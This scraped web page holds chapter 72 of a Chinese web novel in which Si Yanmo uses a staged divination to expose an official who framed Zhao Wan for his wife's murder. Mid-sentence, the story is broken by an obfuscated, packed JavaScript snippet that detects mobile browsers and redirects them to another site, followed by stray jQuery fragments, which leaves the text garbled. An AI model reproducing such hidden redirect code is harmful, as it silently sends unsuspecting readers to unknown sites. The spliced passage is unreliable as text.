默认冷灰
24号文字
方正启体

72. 第七十二章

作者:归夙本书字数:K更新时间:
    “他找人给我来了信,说是一切准备就绪,让我在东市的巷口等他。刚到那里,我就看见一滩血。那里经常有商户杀鸡,我一开始还以为是鸡血,可走近了才发现是人。我本来打算报官的,结果刚蹲下来想看看这人是谁,就被他们围住了。”


    看来他们一早就准备好了。


    “那封信呢?还在么?”


    提到信,赵宛更是愧疚起来,“没有了,信上写了我们要逃去的地方,我害怕被人发现,直接烧了。”


    这姑娘,这时候又聪明起来了!


    司言茉无奈叹气,手上一重。赵宛拉着好她道:“王妃,您救过我一次,已经是我的福气了。是我自己识人不清,对不起您。如今……算了,不要浪费您的精力了。”


    “胡说什么?”她皱眉,“你要是让这种人继续做礼官,那才是对不起我。”


    她拍了拍赵宛的手,“放心,我会有办法的。”


    既如此,那就以其人之道还治其人之身。


    司言茉走出去,当着魏敬忠和王天川的面叫人去卜院拿来些占卜的器具。


    “漠巫卜,您这是……”魏敬忠有种不好的预感。


    司言茉只是微微一笑,“过会儿就知道了。”


    卜院和司院相距甚远,怕是一时半会儿回不来,一群人只能在司院的大厅等着。


    如今正值三伏天,昨夜又下了雨,是又闷又热,哪怕坐着不动,身上也会发汗。


    杜若山只好派人去买了个西瓜回来,给大家分着吃。


    西瓜消暑,可散不去身上的汗,旁人的都还好,王天川的脸上此时却开始往下流白汤。


    司言茉明知故问。,“哎呀,王礼官,这是怎么了?”


    王天川听了这话,还以为是自己脸上有什么东西,用袖口胡乱擦了擦。


    这一擦不要紧,蔚蓝的袖口上顿时白花花的一片,脸上也是白一块,黄一块,看着好不滑稽。


    司言茉心里清楚这是他方才演那痴情人的时候,抹上去的脂粉,如今因为出汗已经斑驳,却还是故意道:“杜司事,方才那位巫医走没走啊?赶紧叫过来帮王礼官看一看啊!这脸上怎么成这样了?别是伤心过度生了什么病!这夫人刚去了,他可不能再有事啊!”


    杜若山也是配合,作势就要去叫巫医,被王天川燥红着脸拦住。


    “别……别去,我没事,就是……可能不小心蹭了灰。”


    “这一个人脸上怎么能蹭那么多灰呢?王礼官就别逞强了,趁着巫医还在,赶紧帮你看看,免得这秦地的‘命官’要是出了什么事,我可怎么和秦王殿下交代啊?”


    司言茉刻意咬重了“命官”两个字,眼神斜晲向魏敬忠,明摆着意有所指,叫魏敬忠直接青了脸。


    她已经这样说,王天川也不能再拒绝自己的上官,只好任由巫医过来把脉。


    在场所有人心里都清楚,他没病,却都装模作样的关心,让巫医一时摸不着头脑,战战兢兢的不知该说什么。


    司言茉看出他的局促,连忙站出来给他“撑腰”。


    “你有什么就说什么,治不好也没关系。王礼官不会怪罪的,是吧?”


    王天川尴尬的应了声“是”,听到巫医的回话,“王礼官只是有些肾阳空虚,至于脸上这……应该是盖的脂粉。”


    司言茉听着巫医的话忍不住低头偷笑。


    肾阳空虚?这巫医比她还会气人。


    “看来,王礼官平日里要注意节制。不过,巫医,这王礼官一个大男人怎么会盖脂粉呢?你是不是看错了?”她乘胜追击。


    眼看这人要打破砂锅问到底,王天川终于装不下去了,干脆用帕子将自己脸上的脂粉擦干净。


    “不过是夫人去世,我这面色实在不大好,所以才用脂粉盖一盖。”


    他自知这话没什么说服力,果不其然,司言茉再度追问:“可我看王礼官去了这脂粉起色倒是比刚才更好了些。”


    眼看已经明牌,魏敬忠干脆也不装了,“漠巫卜如此拖延时间,就是等着这一道?那又怎么样?你还是不能证明人不是赵宛杀的。”


    知道他会气急败坏,司言茉等的就是这一刻,既然演戏的人已经露出马脚,那接下来就该她登场了。


    也是这时,之前去卜院拿东西的司管去而复返,将一推车的什么龟壳啊,香炉啊都拿了进来。


    魏敬忠见状更是摸不清这女人到底要做什么,只能静观其变。


    王天川却有些害怕了。司言茉明显已经看出他撒的谎,却不直接拆穿,而是搞出这些东西,让他更是心慌。


    “礼事,这……”他偷偷凑近魏敬忠,在其身旁耳语询问。


    魏敬忠只是摆摆手,“怕什么,她又没有证据。”


    只见司言茉让人将东西都推到司院的帝古像前,又是上香,又是投珓,嘴里还念念有词。


    这阵仗看着比秋收祭祀还邪乎。


    过了好长时间,司言茉已经满头大汗,回头看向王天川,“王礼官,请过来一下。”


    王天川不明所以,不敢上前,也不敢拒绝,偷偷向魏敬忠投去视线,看到对方点头才敢走到司言茉身边。


    司言茉则是一把抓住他的手,神秘地叫他将手在香上绕了三圈,又叫他投珓。


    他都乖乖照做,掷出了一枚阴杯。在他还没反应过来发生什么时,司言茉直接招呼司管将他拿下。


    “帝古已经降下神谕,是王礼官亲手杀了自己的发妻,还陷害赵姑娘,当斩首示众,以儆效尤!”


    她说的铿锵有力,周围的司管霎时间齐齐出动,将人直接按在了地上。


    “等等!”魏敬忠没料到她会搞这么一出,一时间也慌了神,赶紧拦住。


    “漠巫卜这么说,可有什么证据?”


    王天川也挣扎着附和:“就是,你不能胡乱抓人!你这是包庇罪人,诬陷好人!”


    司言茉却只是淡定挑眉,“这阴杯不就是证据?我方才做法问了帝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526797|186333||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    古,究竟是谁人杀了王夫人,是不是赵姑娘?他告诉我,另有其人,于是我叫你过来投珓,结果就给了阴杯,这不就说明是你吗?”


    “怎么可能?”王天川听到这,心也突突起来,却还是嘴硬的反驳,“一个阴杯能证明的了什么?”


    司言茉听到这话,终于笑了。


    鱼上钩了!


    她弱弱瞥向魏敬忠,“那王礼官就该问问魏礼事了。”


    见魏敬忠看了过来,她干脆径直走过去,“魏礼事,原来你们祭礼部的人,就是这样质疑帝古的威严的?那若是他都觉着,这作法问天无用,你说这祭礼部是不是没有什么存在的必要了?”


    司言茉和周言卿在一起久了也学会了,给人下套。她笑眯眯的盯着魏敬忠,就等着他给自己一个答案,看他是要王天川这枚棋子,还是保他自己的位置。


    魏敬忠这个人精,自然看出这女人是在逼自己,他暗自咬牙,“漠巫卜不觉得这太草率了吗?”


    “草率吗?”司言茉一脸无辜,“可一直以来司院不都是这么办案的?卜院问天,司院抓人?”


    “漠巫卜不是已经向秦王殿下进言,要改革吗?说明漠巫卜也觉着草率,不是吗?”


    魏敬忠试图反杀回去,却又被堵住,“是吧?那看来我们想法一致。既然如此,占卜问天这种事,祭礼部一致觉得没什么用,那日后就该好好改革一下,不如就先从祭礼部开始,魏礼事如此深明大义,一定愿意做第一个为变法贡献的人。”


    司言茉偏过头去和吴观交代,“这样,快去帮我写个折子,说魏礼事愿为变法暂停祭礼部的一切公务……”


    还没等她说完,魏敬忠终于慌了,连忙开口:“等等!”


    他讪笑,“无论是占卜问天,还是司院与卜院这些年的配合,都是千百年定下的规矩,就算偶有漏洞,也定然不是完全不合理的,更何况漠巫卜是百年难遇的奇才,自然是帝古最好的传语人。方才是我一时糊涂,这王礼官啊,是我看着进祭礼部的,下官只是不敢相信,他的为人会做出如此之事。”


    “那如今呢?”


    见司言茉松口递话,魏敬忠自然是懂事的,行至王天川面前,一巴掌狠狠扇了过去,“王天川!亏得本官对你百般照顾,一手教你提拔起来,没想到你是如此罪孽深重,肮脏龌龊的小人!来人,赶紧将他拖下去砍了!”


    他说的义正言辞,简直比戏院的戏子演得还好,在场之情的人,无不在心中感叹。


    尤其是杜若山,他算是知道为什么这么多年,他只能混在司院了。


    他要是有魏敬忠一半的眼力,估计早就换个肥差了。


    王天川见自己被魏敬忠抛弃,干脆也狗咬狗起来,他挣脱开束缚,“砰”的一声就跪在司言茉面前,抓着对方的衣角,哭喊道:“漠巫卜!漠巫卜!我错了!都是他!”


    他指着魏敬忠,满脸愤恨,“都是他让我这么做的!我怎么会杀自己的妻子呢?都是他逼我的呀!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)